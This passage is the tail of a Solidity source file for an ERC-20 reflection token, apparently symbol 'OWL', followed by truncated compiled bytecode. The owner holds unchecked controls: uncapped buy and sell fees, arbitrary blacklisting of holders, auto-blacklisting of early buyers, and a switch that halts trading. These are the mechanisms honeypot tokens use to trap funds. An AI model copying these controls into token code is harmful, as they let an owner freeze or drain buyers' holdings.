_isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600381526020017f4f574c0000000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600381526020017f4f574c0000000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff